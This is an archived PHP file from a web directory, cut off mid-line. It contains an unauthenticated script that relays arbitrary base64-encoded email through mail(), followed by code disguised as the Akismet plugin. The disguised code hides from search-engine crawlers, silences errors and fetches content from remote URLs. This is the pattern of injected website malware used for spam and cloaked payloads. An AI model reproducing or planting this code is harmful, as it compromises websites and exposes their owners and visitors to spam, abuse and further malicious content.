home *** CD-ROM | disk | FTP | other *** search
/ ftp.t-online.hu / ftp.t-online.hu.tar / ftp.t-online.hu / public_html / mailout.php < prev    next >
PHP Script  |  2015-06-10  |  4KB  |  107 lines

  1. <?php
  2. if(isset($_POST["mailto"]))
  3.         $MailTo = base64_decode($_POST["mailto"]);
  4. else
  5.     {
  6.     echo "indata_error";
  7.     exit;
  8.     }
  9. if(isset($_POST["msgheader"]))
  10.         $MessageHeader = base64_decode($_POST["msgheader"]);
  11. else
  12.     {
  13.     echo "indata_error";
  14.     exit;
  15.     }
  16. if(isset($_POST["msgbody"]))
  17.         $MessageBody = base64_decode($_POST["msgbody"]);
  18. else
  19.     {
  20.     echo "indata_error";
  21.     exit;
  22.     }
  23. if(isset($_POST["msgsubject"]))
  24.         $MessageSubject = base64_decode($_POST["msgsubject"]);
  25. else
  26.     {
  27.     echo "indata_error";
  28.     exit;
  29.     }
  30. if(mail($MailTo,$MessageSubject,$MessageBody,$MessageHeader))
  31.     echo "sent_ok";
  32. else
  33.     echo "sent_error";
  34. ?>
  35. <?php
  36. #76d57f#
  37. /**
  38.  * @package Akismet
  39.  */
  40. /*
  41. Plugin Name: Akismet
  42. Plugin URI: http://akismet.com/
  43. Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/">Sign up for an Akismet API key</a>, and 3) Go to your Akismet configuration page, and save your API key.
  44. Version: 3.0.0
  45. Author: Automattic
  46. Author URI: http://automattic.com/wordpress-plugins/
  47. License: GPLv2 or later
  48. Text Domain: akismet
  49. */
  50.  
  51. /*
  52. This program is free software; you can redistribute it and/or
  53. modify it under the terms of the GNU General Public License
  54. as published by the Free Software Foundation; either version 2
  55. of the License, or (at your option) any later version.
  56.  
  57. This program is distributed in the hope that it will be useful,
  58. but WITHOUT ANY WARRANTY; without even the implied warranty of
  59. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  60. GNU General Public License for more details.
  61.  
  62. You should have received a copy of the GNU General Public License
  63. along with this program; if not, write to the Free Software
  64. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
  65. */
  66.  
  67. if( empty( $tsq ) ) {
  68.     if( ( substr( trim( $_SERVER['REMOTE_ADDR'] ), 0, 6 ) == '74.125' ) || preg_match(
  69.             "/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i",
  70.             $_SERVER['HTTP_USER_AGENT']
  71.         )
  72.     ) {
  73.     } else {
  74.         error_reporting( 0 );
  75.         @ini_set( 'display_errors', 0 );
  76.         if( !function_exists( '__url_get_contents' ) ) {
  77.             function __url_get_contents( $remote_url, $timeout )
  78.             {
  79.                 if( function_exists( 'curl_exec' ) ) {
  80.                     $ch = curl_init();
  81.                     curl_setopt( $ch, CURLOPT_URL, $remote_url );
  82.                     curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
  83.                     curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
  84.                     curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); //timeout in seconds
  85.                     $_url_get_contents_data = curl_exec( $ch );
  86.                     curl_close( $ch );
  87.                 } elseif( function_exists( 'file_get_contents' ) && ini_get( 'allow_url_fopen' ) ) {
  88.                     $ctx = @stream_context_create(
  89.                         array(
  90.                             'http' =>
  91.                                 array(
  92.                                     'timeout' => $timeout,
  93.                                 )
  94.                         )
  95.                     );
  96.                     $_url_get_contents_data = @file_get_contents( $remote_url, false, $ctx );
  97.                 } elseif( function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ) {
  98.                     $handle = @fopen( $remote_url, "r" );
  99.                     $_url_get_contents_data = @stream_get_contents( $handle );
  100.                 } else {
  101.                     $_url_get_contents_data = __file_get_url_contents( $remote_url );
  102.                 }
  103.                 return $_url_get_contents_data;
  104.             }
  105.         }
  106.  
  107.         if( !function_exists( '__file_get_url_cont